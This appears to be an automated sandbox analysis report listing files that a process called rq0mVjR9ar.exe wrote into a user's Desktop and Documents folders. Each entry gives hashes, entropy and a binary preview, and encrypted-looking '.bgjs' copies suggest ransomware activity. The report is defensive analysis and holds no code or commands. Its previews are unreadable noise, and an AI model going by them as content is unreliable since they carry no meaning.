SSDEEP:	24:L63MMNuOXg09+SkQTSXFo4c2UUed7E4HuV8F4n4O35PUTJiiTkbD:LuND9+XQTQFo4c5UedeVS4jPUJXiD
MD5:	6347C40A5D3911B54136CECE1C32206A
SHA1:	38FEC244D6535FB2627A8AF6B9664F0ADD2E6C34
SHA-256:	79445EDA1104959DBB2289027D9D0FE6A5C609596C5B3FBCD2BD9C1B6D4DD0A3
SHA-512:	C28E9781AA6511204E75682BF04A19B20EB565E30845EC3965FCCBE9D0B8DA9C2353ACC4E9B26C28FAE87F22870DC4FE4D3E6788D7E38697FDE7E25D191521CF
Malicious:	false
Preview:	NEBFQ.1<c..e%..k....I.-......F~^sZ=.Ir....0.S... ..... .........3f..u.....eE1.....Hpaz.sb/.5.}c....2.q......_.....SQ/8h]\|U.=\|..X...S\...U...M.9....;.J...s.)...sM.8....\[._./..DC.{,.b..^.....IZ......gf...;...2vN.'..t."Z..+G.R..../V..4..j..<O..2]/6.0..Q0ij........../\|.3...A....9........Z&ST..g..3.>c?.......m&R..Z)..9...i9..SgZ..F..E....G....n..x..E.,.T\,.N...5\|..ZG..9y...`2.#n..x...^m.. .....s3..Ta...hq,.$..Ae..w..r.......x.2..dZ..d@..0.t.}$..+...W..D...U..r.9elC8.#1.E...t.V...~.,.....@.)tO.V....Z..=x...=Z.....d..H...gr.le..l.< .`.`...%.K......EvC[....2....q......u.H....E.R."]U...~..%!.........e..J.....s...x...n...._....;\|K[E0..F..j..g.E...Z.>..`WqS..Y..J.,i..._.-.J...^...Dxp..2.4.O.&...%..0..:..d9.....d,.jg.8o.....b..W.u..S.2../.C......?!.I...m.z1..@.n....i.6..Z.<.~..g......0X+.S_w.....&.(^D....:...]..N.D_.e....;..E..y'[5....X..U..:#&QS.....N.R.E@.7.ve1.lS#..K.}oW.Q>G.6.E..w2...fiE..0x.A..Z..S.J...!9X. c....p.5.#...2vA...u[Y...H`..

C:\Users\user\Desktop\UOOJJOZIRH\QNCYCDFIJJ.png

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868872912546133
Encrypted:	false
SSDEEP:	24:7lFEREqF0n5JTYdJewylNVS4ayAMGzm7kIN7EbVFaloCT8LUGx67riTkbD:7vdnnQJewydSNmGz09Ew8wGq+iD
MD5:	D8A91574FAD8AA02BA834A8F0964FCEF
SHA1:	1FB6795FED54EE74D524AF2D5D368733F680FD11
SHA-256:	22D340130BE7F0BEDC65E4EA6E0F8809A0EB6D352B9454ABCB90C0EDC87E463D
SHA-512:	E6C29572657CD101524600A7A111CC1245EAD5FF9C75D175F013EDE85FE0F0F6461493992802B8003139C72B4DCE38FB20765D86C3E8369ECF1BE71103979E20
Malicious:	false
Preview:	QNCYC....h...).!K......<.@s+k..c=<..{..u.].T.<a..o.`=..e...z..TG..X..`....sZ.JK..].~.,.....w`.......]M....W.r.O..._......V.a.._....UP..q....Fd...y&-..}..}<.mj.E...!.r.q`Q........:.L.!x.[...x.....t..g...'.h.....%..5....Zqg...f..6$`.\|B.%..q...r...%ms.Cj%n}.-/2M...O.#s..F9.{.q.Z>.C..-Q.....IfB.......<,....?.RX......@.K.O=..F...r/.e..;n......Hb.]...LK45V."..6..\|...}0!.[..5.^.6..c..1&....?....\..Y+._}....k..z...@.Wrd..x'Z.W{0.qRpGG...Ee-ee...[,4G5..6........./ ..t...c.-.....y$.i.8...>..SX.......+.6;D.-_..._H..J.u0..Bi).J...........N..1.Xp....S.Q.....v.!...\,`........m.;..\|.j.TC=oqY{..=....@...I......"..8^.....64S..~...I.....%.9...:ip...}...^.'..$>.a,F..G^.`...q.G.RHr.1.L...BI.......$.~$..-N.C.O...].J..]}....2..:.86.......$.. ...%.ll\..... Xp.5A...Y{.a.8^]../.5.Q..y,(..UY..Q.....S..v...4<'......W.....1Z-B..V{G.....fD.....A.N.,.P}...N...~..&.z..Z?.ZPR...o.o)P...Mdl..D...L....mY.z..J.r_..rn.v...u..m[[.ai..].LNs..F.L.....iQ..BEw.

C:\Users\user\Desktop\UOOJJOZIRH\QNCYCDFIJJ.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868872912546133
Encrypted:	false
SSDEEP:	24:7lFEREqF0n5JTYdJewylNVS4ayAMGzm7kIN7EbVFaloCT8LUGx67riTkbD:7vdnnQJewydSNmGz09Ew8wGq+iD
MD5:	D8A91574FAD8AA02BA834A8F0964FCEF
SHA1:	1FB6795FED54EE74D524AF2D5D368733F680FD11
SHA-256:	22D340130BE7F0BEDC65E4EA6E0F8809A0EB6D352B9454ABCB90C0EDC87E463D
SHA-512:	E6C29572657CD101524600A7A111CC1245EAD5FF9C75D175F013EDE85FE0F0F6461493992802B8003139C72B4DCE38FB20765D86C3E8369ECF1BE71103979E20
Malicious:	false
Preview:	QNCYC....h...).!K......<.@s+k..c=<..{..u.].T.<a..o.`=..e...z..TG..X..`....sZ.JK..].~.,.....w`.......]M....W.r.O..._......V.a.._....UP..q....Fd...y&-..}..}<.mj.E...!.r.q`Q........:.L.!x.[...x.....t..g...'.h.....%..5....Zqg...f..6$`.\|B.%..q...r...%ms.Cj%n}.-/2M...O.#s..F9.{.q.Z>.C..-Q.....IfB.......<,....?.RX......@.K.O=..F...r/.e..;n......Hb.]...LK45V."..6..\|...}0!.[..5.^.6..c..1&....?....\..Y+._}....k..z...@.Wrd..x'Z.W{0.qRpGG...Ee-ee...[,4G5..6........./ ..t...c.-.....y$.i.8...>..SX.......+.6;D.-_..._H..J.u0..Bi).J...........N..1.Xp....S.Q.....v.!...\,`........m.;..\|.j.TC=oqY{..=....@...I......"..8^.....64S..~...I.....%.9...:ip...}...^.'..$>.a,F..G^.`...q.G.RHr.1.L...BI.......$.~$..-N.C.O...].J..]}....2..:.86.......$.. ...%.ll\..... Xp.5A...Y{.a.8^]../.5.Q..y,(..UY..Q.....S..v...4<'......W.....1Z-B..V{G.....fD.....A.N.,.P}...N...~..&.z..Z?.ZPR...o.o)P...Mdl..D...L....mY.z..J.r_..rn.v...u..m[[.ai..].LNs..F.L.....iQ..BEw.

C:\Users\user\Desktop\UOOJJOZIRH\UOOJJOZIRH.docx

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857995721369999
Encrypted:	false
SSDEEP:	24:aEkz/Ri6yYpcp4ubDZwtRvrOKPIYdGCMFqXqR1Q+ArPIF7WGLtEr3SVHiTkbD:2RDyzjZqRv6KkCgq6+rPgtWr3SVCiD
MD5:	590E71BD873DE1D2D0F5046710B25B2B
SHA1:	BEAE3F8D3AD3981DC3BE49D828215048C252755B
SHA-256:	AB9C25479C4A2E77A763DE1BB0F29E963C8E1FC29179CF68387C721692295DB3
SHA-512:	6C72E70C3AD4D819297B313B50E01F0D4C46AA7898A4C2AAD476303EADB019CD2903D4CD0E8A2042BB74FC80098778214DC5AACB115CB4383E3240356440298F
Malicious:	false
Preview:	UOOJJ...9....t\|......%.+\|Z..E...G.LT...Eq...8.b}=.H".4.+deh.V?... .9....*......Xk.D.7c.w..2:...d..........@.T.6M...l...e.U@>O.)wP3r.$O..4V....=.W..7..~-...S..y\|h........q......Q...7..8.3../.0.9t..a........p.xB..[.....@)6.AH$....f$.Xb6.u'm.......L....7.........H.>.\|\|2..?e?1.h..\|.-y./..SI.WH...d]....D.........yo....2...p.a...6....+.......,.^..Iv6Q4..(...E.3c..D.>..T..-qI.Z...H}.a.uUK.i.....X.U..vS}.r.....Ij.!....ibj.m....h..W.5....o.xU=..d.![..........w.PR....c^...oW.sN......W.!..H.6.r......N..k\..R...........V.bL.})..._.}..A=-.0&....s.. ..:$.#...2PI..u.Y1C. .../.....5m.&..:..Z...N..pM.\|oj....w.g.1.(.]......B.gKl,.......I..6S.Sl..j.d..k...<K..Y...........i.p...l.....Gn.$.jQ.?!.>..]%.(...w.'.c8Q...;/...,..V...=Y.J:Y....6.q.J....9K.K..J....,..+.Y5p......GHn..:....._...H.?..D....`.?V..{n^k.A.W$1..."b.S...Y.Z^.l....K.....-..tN.pd+L..8{.j.P...{..#'.$......Q....lU.ei.....NYV[V..jX..#..\.=)N..~q...k...V`..d.~1..&..a['d {..5x..<x.;...K.RS(...r.(i.$

C:\Users\user\Desktop\UOOJJOZIRH\UOOJJOZIRH.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857995721369999
Encrypted:	false
SSDEEP:	24:aEkz/Ri6yYpcp4ubDZwtRvrOKPIYdGCMFqXqR1Q+ArPIF7WGLtEr3SVHiTkbD:2RDyzjZqRv6KkCgq6+rPgtWr3SVCiD
MD5:	590E71BD873DE1D2D0F5046710B25B2B
SHA1:	BEAE3F8D3AD3981DC3BE49D828215048C252755B
SHA-256:	AB9C25479C4A2E77A763DE1BB0F29E963C8E1FC29179CF68387C721692295DB3
SHA-512:	6C72E70C3AD4D819297B313B50E01F0D4C46AA7898A4C2AAD476303EADB019CD2903D4CD0E8A2042BB74FC80098778214DC5AACB115CB4383E3240356440298F
Malicious:	false
Preview:	UOOJJ...9....t\|......%.+\|Z..E...G.LT...Eq...8.b}=.H".4.+deh.V?... .9....*......Xk.D.7c.w..2:...d..........@.T.6M...l...e.U@>O.)wP3r.$O..4V....=.W..7..~-...S..y\|h........q......Q...7..8.3../.0.9t..a........p.xB..[.....@)6.AH$....f$.Xb6.u'm.......L....7.........H.>.\|\|2..?e?1.h..\|.-y./..SI.WH...d]....D.........yo....2...p.a...6....+.......,.^..Iv6Q4..(...E.3c..D.>..T..-qI.Z...H}.a.uUK.i.....X.U..vS}.r.....Ij.!....ibj.m....h..W.5....o.xU=..d.![..........w.PR....c^...oW.sN......W.!..H.6.r......N..k\..R...........V.bL.})..._.}..A=-.0&....s.. ..:$.#...2PI..u.Y1C. .../.....5m.&..:..Z...N..pM.\|oj....w.g.1.(.]......B.gKl,.......I..6S.Sl..j.d..k...<K..Y...........i.p...l.....Gn.$.jQ.?!.>..]%.(...w.'.c8Q...;/...,..V...=Y.J:Y....6.q.J....9K.K..J....,..+.Y5p......GHn..:....._...H.?..D....`.?V..{n^k.A.W$1..."b.S...Y.Z^.l....K.....-..tN.pd+L..8{.j.P...{..#'.$......Q....lU.ei.....NYV[V..jX..#..\.=)N..~q...k...V`..d.~1..&..a['d {..5x..<x.;...K.RS(...r.(i.$

C:\Users\user\Documents\MXPXCVPDVN\GAOBCVIQIJ.pdf

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835150293403549
Encrypted:	false
SSDEEP:	24:3uqT1jIERcexldQxzboFxFTXWIl6473PrjDgqvyas22EwP58ubRjT9O4iTkbD:xZIEZxTCPoFjTXWuh73PrngqK4CP58uF
MD5:	56599E717F891A31A3F50774316FF6A3
SHA1:	93F432A98A3D9D3CF54CDE33DEFCAAB75AF88DC9
SHA-256:	E6075BF425915CB827696576680F326E872B8BD7E5DD9022E37890F63A319072
SHA-512:	D80E0D5613FA15FBF3BEC2B6DD5D89AF8C2E4F7E9ED8567CE1435A084DDBED7765884A48C8D34AA3268F3F7D7EBE1374D5659799BE30AABB26399E5BA6A8B9FC
Malicious:	false
Preview:	GAOBC..B{Qy..<.h..\|..\|..n.`Mi....k......m..bq...dL.......^..r6..Bx.O.e.B.&%.)T=E3.t........m..v.$...@d:..i..T(.+...c..N.....c......OLG. .X.~....!..jZ..5&...SB.,..._EF.o.!..r...UN..:...9...j.?..\.A.....@W.........../j=..T..,v".... .N.....n..V..M...k..wBI.....n..'..].Q..^.cS..o.:..kT...Rx.....~S......I5.2.o..m./.1k.....[.~..'F.p67..1.....\|..T)....r..].7.<H....0._....o.3..M.I... ..z..c.l.r!.Bwb0ElAD.O.......;O..u.\|.g.~....7..-.~...&^.#...#.J.:.(NM.$p<.<8.[uV.\E...c.z5..:..y$..\TG....?..h!/X...3 .R...6.....4.>nI...!B.. .s7..S.6....f.....)...B..P...\..=.....@F."G...J..6.wJ.X.S..O....7....W...9..o.C9......l1...l....C...e.9O.&..cx...i..'.Q....[.....+9d...B.O.c._..:......e.8.....Eo.....5..G9OEp.............m..\..~L..X.".h..omG.U.F.-.=bC1..E......r7..D.s...^.;.....1.x...q.....LK?..%...b"r.\J...=.F.u.S._..G...m.....v.c-E..w.ebe..w./.Ok..5).s...4n..N!`.n..)Y.W.g$....@s........!.o...mj.J.9>0.0A>.. c.8R.G[..?..J?.".......O.l.?.P./..@...%Q....j..>\|O/..

C:\Users\user\Documents\MXPXCVPDVN\GAOBCVIQIJ.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835150293403549
Encrypted:	false
SSDEEP:	24:3uqT1jIERcexldQxzboFxFTXWIl6473PrjDgqvyas22EwP58ubRjT9O4iTkbD:xZIEZxTCPoFjTXWuh73PrngqK4CP58uF
MD5:	56599E717F891A31A3F50774316FF6A3
SHA1:	93F432A98A3D9D3CF54CDE33DEFCAAB75AF88DC9
SHA-256:	E6075BF425915CB827696576680F326E872B8BD7E5DD9022E37890F63A319072
SHA-512:	D80E0D5613FA15FBF3BEC2B6DD5D89AF8C2E4F7E9ED8567CE1435A084DDBED7765884A48C8D34AA3268F3F7D7EBE1374D5659799BE30AABB26399E5BA6A8B9FC
Malicious:	false
Preview:	GAOBC..B{Qy..<.h..\|..\|..n.`Mi....k......m..bq...dL.......^..r6..Bx.O.e.B.&%.)T=E3.t........m..v.$...@d:..i..T(.+...c..N.....c......OLG. .X.~....!..jZ..5&...SB.,..._EF.o.!..r...UN..:...9...j.?..\.A.....@W.........../j=..T..,v".... .N.....n..V..M...k..wBI.....n..'..].Q..^.cS..o.:..kT...Rx.....~S......I5.2.o..m./.1k.....[.~..'F.p67..1.....\|..T)....r..].7.<H....0._....o.3..M.I... ..z..c.l.r!.Bwb0ElAD.O.......;O..u.\|.g.~....7..-.~...&^.#...#.J.:.(NM.$p<.<8.[uV.\E...c.z5..:..y$..\TG....?..h!/X...3 .R...6.....4.>nI...!B.. .s7..S.6....f.....)...B..P...\..=.....@F."G...J..6.wJ.X.S..O....7....W...9..o.C9......l1...l....C...e.9O.&..cx...i..'.Q....[.....+9d...B.O.c._..:......e.8.....Eo.....5..G9OEp.............m..\..~L..X.".h..omG.U.F.-.=bC1..E......r7..D.s...^.;.....1.x...q.....LK?..%...b"r.\J...=.F.u.S._..G...m.....v.c-E..w.ebe..w./.Ok..5).s...4n..N!`.n..)Y.W.g$....@s........!.o...mj.J.9>0.0A>.. c.8R.G[..?..J?.".......O.l.?.P./..@...%Q....j..>\|O/..

C:\Users\user\Documents\MXPXCVPDVN\NEBFQQYWPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870273979608232
Encrypted:	false
SSDEEP:	24:0JS1T4uFwII0BZYgegrohEq01XE3RrfdFdWrImr3bYlJvPbiiTkbD:J1TVikBRegoEKBBerI9lZiD
MD5:	DD3ECADF17AF5E77DAD5A29BACA9F3EC
SHA1:	897BEE53683581B9AB4A505A468804591646D234
SHA-256:	93EDA72C9726F6F9D3E609CE527FB723C4A2416C2DFE1A7EDEF04D09DA48FE86
SHA-512:	F15187CF03FFEDA8E6030787EE8378B0F7D89F28DA7DD86FB79AB59F8F288FCDB2A159378B94524C261FC178B64F743A2264328C68EB63274D0A123DAE4624E2
Malicious:	false
Preview:	NEBFQo...a.k..k..'..$.LSp....b.&.g+._..s.{".3^......+....:.z@..p..g...z........i.........x.aS..l..u....+]..f...m.........$...3.YzOS....1....; .....L....OZ6....h...W.T.(.<...)1..j...t6z.K....3...",..PG.....[.At..87+...'..LaQ.o...Qu\6...m#..J..T..#.....K.%.KL....-i/j ...T7).......V.$...0n\|~."................c.T.g.On<...0..A(....(B.._"..JA..\|.a..z .,.....&..#\|....8..YL.]...^W...v..S.....,.....]T.....=.._...jD..P.j]..L.Z=r..N..;v....w.I.5.e..H+...2..0.....F.^4..n.....x..r.][f>;l...E..g.p.A1.]...R.z}../w..A..jqZw....X..tu......,.0\|>..B.A.g)..:.!..7...P,...O......a....`w...u.&..:..g...K..u..R....:...9.L`.)^..+X......}.Y..;..3V.......,.w\|.,.q...U-K.N..H.J.X.Wc.#.[....t.....%.w....)..,.....;..H.l.'.U..y........L..F...n'....p_..Y..l..........x.....;..$...%....5...!q..5.....i....$...e.>....,=D.4<j...D*..7....@.p....L6z.....>}[I.3.`.EG.z.q+...7..i..b.1'.gA'...._...}......u..'......s.)J....O3.dqtD.Q....D2..`7..pY....X....D...........z..XU\..>.n.....

C:\Users\user\Documents\MXPXCVPDVN\NEBFQQYWPS.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870273979608232
Encrypted:	false
SSDEEP:	24:0JS1T4uFwII0BZYgegrohEq01XE3RrfdFdWrImr3bYlJvPbiiTkbD:J1TVikBRegoEKBBerI9lZiD
MD5:	DD3ECADF17AF5E77DAD5A29BACA9F3EC
SHA1:	897BEE53683581B9AB4A505A468804591646D234
SHA-256:	93EDA72C9726F6F9D3E609CE527FB723C4A2416C2DFE1A7EDEF04D09DA48FE86
SHA-512:	F15187CF03FFEDA8E6030787EE8378B0F7D89F28DA7DD86FB79AB59F8F288FCDB2A159378B94524C261FC178B64F743A2264328C68EB63274D0A123DAE4624E2
Malicious:	false
Preview:	NEBFQo...a.k..k..'..$.LSp....b.&.g+._..s.{".3^......+....:.z@..p..g...z........i.........x.aS..l..u....+]..f...m.........$...3.YzOS....1....; .....L....OZ6....h...W.T.(.<...)1..j...t6z.K....3...",..PG.....[.At..87+...'..LaQ.o...Qu\6...m#..J..T..#.....K.%.KL....-i/j ...T7).......V.$...0n\|~."................c.T.g.On<...0..A(....(B.._"..JA..\|.a..z .,.....&..#\|....8..YL.]...^W...v..S.....,.....]T.....=.._...jD..P.j]..L.Z=r..N..;v....w.I.5.e..H+...2..0.....F.^4..n.....x..r.][f>;l...E..g.p.A1.]...R.z}../w..A..jqZw....X..tu......,.0\|>..B.A.g)..:.!..7...P,...O......a....`w...u.&..:..g...K..u..R....:...9.L`.)^..+X......}.Y..;..3V.......,.w\|.,.q...U-K.N..H.J.X.Wc.#.[....t.....%.w....)..,.....;..H.l.'.U..y........L..F...n'....p_..Y..l..........x.....;..$...%....5...!q..5.....i....$...e.>....,=D.4<j...D*..7....@.p....L6z.....>}[I.3.`.EG.z.q+...7..i..b.1'.gA'...._...}......u..'......s.)J....O3.dqtD.Q....D2..`7..pY....X....D...........z..XU\..>.n.....

C:\Users\user\Documents\SFPUSAFIOL.jpg

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83119680877082
Encrypted:	false
SSDEEP:	24:SKtVJeN/vwT41+czCABmJYO5QmY/7oiQlRzVNbagiTkbD:Ttmg0R9BmJYnmYP8RyRiD
MD5:	E880D1B644487B953D1964DD86859A02
SHA1:	45CA070CADD087DE9C782769C38BA7B8A3507263
SHA-256:	2FE3A5F3530B8BF708015D54F18EEC8BA23330448195C2EFBEA1F6B7252E8BAF
SHA-512:	D8E8C8ED8F024C2A01F83EAC2B1002D9B3EB1EC73EF21EA979C57F000D46825767243308446328387EAD438B3B3CDDEAC67F7A167EA651525302CE2FD49EDB86
Malicious:	false
Preview:	SFPUS.i...,~b.=.r.Dx.a..G.S.r{...,E@~..:7t... ..z1..9y..Q]Y..w....^..A..s).kI.lc:u.....2.o!'..t\.t......'....e:..g..7.PT..........oD..o<......lXUYo...... I<3...7ooa..^..;.x.D...er....6.\|..&.. S[+<.."..v...TS}..U...69..N....mw\>........uR.m.r.5..R,..J9.3.V..5....p..V........,9...\|..].....ps5`=o%.....kwW..Q0.h..b.o...3....&X.+....~.-Q......-..E..(._.9...W.2.7Q.)m.=5....?.F..M..!H...i}._..X7^I..2.G.U.....J>.y..2.WM......c-.\|O>+(...".....\|r..Q,...H..(..(.7Q1..NevV..`h...`}#..b.C2..xGg..:...+$..e....1.D....;..UD.{-...U...T..=..F..@....@Q......\|.J.4y......'..Q.......J....1+._...):...DD..\|ZJ>.z-..q.\i8....T,1.1#./...b..x\...S./]c1e..J...[2'...b.y...U}."j..o..t.?1..SF..w)..@H4..l9....g.e..............I...k.@:..SGHy.L-..['...$.').^Hk..........F..8....^.D....X.9`....">f..p.....:e....+)..%..8..&.Y.f^......8U.s.U....(........wg..{.O...#...r".'.s7.......&.k.-#.}....1....}l(..#...Kr.?.n.[.`..c[.~q.?&;.E....U....... @).X.t..\|Y....T..N

C:\Users\user\Documents\SFPUSAFIOL.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83119680877082
Encrypted:	false
SSDEEP:	24:SKtVJeN/vwT41+czCABmJYO5QmY/7oiQlRzVNbagiTkbD:Ttmg0R9BmJYnmYP8RyRiD
MD5:	E880D1B644487B953D1964DD86859A02
SHA1:	45CA070CADD087DE9C782769C38BA7B8A3507263
SHA-256:	2FE3A5F3530B8BF708015D54F18EEC8BA23330448195C2EFBEA1F6B7252E8BAF
SHA-512:	D8E8C8ED8F024C2A01F83EAC2B1002D9B3EB1EC73EF21EA979C57F000D46825767243308446328387EAD438B3B3CDDEAC67F7A167EA651525302CE2FD49EDB86
Malicious:	false
Preview:	SFPUS.i...,~b.=.r.Dx.a..G.S.r{...,E@~..:7t... ..z1..9y..Q]Y..w....^..A..s).kI.lc:u.....2.o!'..t\.t......'....e:..g..7.PT..........oD..o<......lXUYo...... I<3...7ooa..^..;.x.D...er....6.\|..&.. S[+<.."..v...TS}..U...69..N....mw\>........uR.m.r.5..R,..J9.3.V..5....p..V........,9...\|..].....ps5`=o%.....kwW..Q0.h..b.o...3....&X.+....~.-Q......-..E..(._.9...W.2.7Q.)m.=5....?.F..M..!H...i}._..X7^I..2.G.U.....J>.y..2.WM......c-.\|O>+(...".....\|r..Q,...H..(..(.7Q1..NevV..`h...`}#..b.C2..xGg..:...+$..e....1.D....;..UD.{-...U...T..=..F..@....@Q......\|.J.4y......'..Q.......J....1+._...):...DD..\|ZJ>.z-..q.\i8....T,1.1#./...b..x\...S./]c1e..J...[2'...b.y...U}."j..o..t.?1..SF..w)..@H4..l9....g.e..............I...k.@:..SGHy.L-..['...$.').^Hk..........F..8....^.D....X.9`....">f..p.....:e....+)..%..8..&.Y.f^......8U.s.U....(........wg..{.O...#...r".'.s7.......&.k.-#.}....1....}l(..#...Kr.?.n.[.`..c[.~q.?&;.E....U....... @).X.t..\|Y....T..N

C:\Users\user\Documents\SQRKHNBNYN.docx

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864286562713968
Encrypted:	false
SSDEEP:	24:YB9PxlA6MGgKSZ0Cy2eNdZXewXi3QfddpGkm8gXISmeo3QojC9DchYIXTiTkbD:QldR2eNdZXlXmqXpGkrgYPeoJ9XmiD
MD5:	47CA5D0C1156219DACD1FF2ECB3A1524
SHA1:	EAE2810618A8F941611436DFC5570AF0D81E84D4
SHA-256:	2839C9C67CCBB0B5983C6F1EFC40384787F0A0562B2E33F7E9ECBEF7FBB5ECF6
SHA-512:	9907FE9C968ABCA9FD76DE3F2AF2E766D5042B75D8717E75C0E28679C4F4960A948088825FC92E03DF5AE1EB78C8DF572ADC473C84CB5D76530DA7B23BB86163
Malicious:	false
Preview:	SQRKH.".}ei.u...$K...o....?..P /.$..7.5.....Q...o..r.0YV~Ku.._.!GS.NCe.T...jv..6F.f.L\DS..Y.>..y.p.\|..t.5.D..e.a..jk.J[l....H.i....xY?..o3...2..p\|..>....@g.AtL..Xv........:...&Z..0.<...~i2..!.8M...%...j.{g..j..S..;.....8.]y...{.vt.M....u&.>O..\|A.....9.P&..qt....t?..B.!I.2...3W.......>)v......f...i.I.........v.....'..g."h(_....lf.......q..U...Y..m:0>.<.3g..CO.p......'..0nV......W...S.x;.....G.tHeu..d2!.......W..~....~.!..^........."..aN.x.R.....=..`.u.4.fu\....F..Y .v....S..x..{..P=.\wo.zo..%.%..J...~..k.g&.4U...6..4>p....%3k..VM...EhC...w3.).>pl.be....Q6%N.,4..X?_.zZ.t.=.......9.B....A..]..u.M.<...H.@.H...0..S..4<.....K.L....4...G......^........u.1O2.X.}...n....-J5..C...... t7G_.pl.c.U....ii.........K..(\|'.*^.<....p...........xO...{(.].\|~&.;......z....w..]'.x..O,.(.b.{../..S...]WG.A..k..c;.U=P..;W.n...k.<t...X9....f..r....6@.9..o.l..e..V?.U.v....s~B....jrL\|u.s..P^.h@....H..?<&..YK....Q....\|....c...V.Md?...:\|..... .I .....x..V..FM.T.?..c}

C:\Users\user\Documents\SQRKHNBNYN.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864286562713968
Encrypted:	false
SSDEEP:	24:YB9PxlA6MGgKSZ0Cy2eNdZXewXi3QfddpGkm8gXISmeo3QojC9DchYIXTiTkbD:QldR2eNdZXlXmqXpGkrgYPeoJ9XmiD
MD5:	47CA5D0C1156219DACD1FF2ECB3A1524
SHA1:	EAE2810618A8F941611436DFC5570AF0D81E84D4
SHA-256:	2839C9C67CCBB0B5983C6F1EFC40384787F0A0562B2E33F7E9ECBEF7FBB5ECF6
SHA-512:	9907FE9C968ABCA9FD76DE3F2AF2E766D5042B75D8717E75C0E28679C4F4960A948088825FC92E03DF5AE1EB78C8DF572ADC473C84CB5D76530DA7B23BB86163
Malicious:	false
Preview:	SQRKH.".}ei.u...$K...o....?..P /.$..7.5.....Q...o..r.0YV~Ku.._.!GS.NCe.T...jv..6F.f.L\DS..Y.>..y.p.\|..t.5.D..e.a..jk.J[l....H.i....xY?..o3...2..p\|..>....@g.AtL..Xv........:...&Z..0.<...~i2..!.8M...%...j.{g..j..S..;.....8.]y...{.vt.M....u&.>O..\|A.....9.P&..qt....t?..B.!I.2...3W.......>)v......f...i.I.........v.....'..g."h(_....lf.......q..U...Y..m:0>.<.3g..CO.p......'..0nV......W...S.x;.....G.tHeu..d2!.......W..~....~.!..^........."..aN.x.R.....=..`.u.4.fu\....F..Y .v....S..x..{..P=.\wo.zo..%.%..J...~..k.g&.4U...6..4>p....%3k..VM...EhC...w3.).>pl.be....Q6%N.,4..X?_.zZ.t.=.......9.B....A..]..u.M.<...H.@.H...0..S..4<.....K.L....4...G......^........u.1O2.X.}...n....-J5..C...... t7G_.pl.c.U....ii.........K..(\|'.*^.<....p...........xO...{(.].\|~&.;......z....w..]'.x..O,.(.b.{../..S...]WG.A..k..c;.U=P..;W.n...k.<t...X9....f..r....6@.9..o.l..e..V?.U.v....s~B....jrL\|u.s..P^.h@....H..?<&..YK....Q....\|....c...V.Md?...:\|..... .I .....x..V..FM.T.?..c}

C:\Users\user\Documents\SQRKHNBNYN\IPKGELNTQY.png

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844839579928423
Encrypted:	false
SSDEEP:	24:Vqbvn5jkUcbgft9e5Du3xM+f0gJahdi52W1x/a6oHuvmhdD2EeciTkbD:wNksGu3y+f0n62WS6oHuvmDDoiD
MD5:	7B3B1F43EE5A58308926980823BD8547
SHA1:	5CA0359E351BB72B848BBEFD771D6849C344E49C
SHA-256:	8ECB01BE909687ABEAAAC43FE8654EEF22E0F063BE363DFE3E21E88EFB8D74A4
SHA-512:	5268BA80028E86152D9A667708E3F033402F43109F6CD79651190871FA02328A0BD96FA8B2702182BEE99D01CB23DDEC198E3E1F089EFFF0E1C1BF287C0D6DF9
Malicious:	false
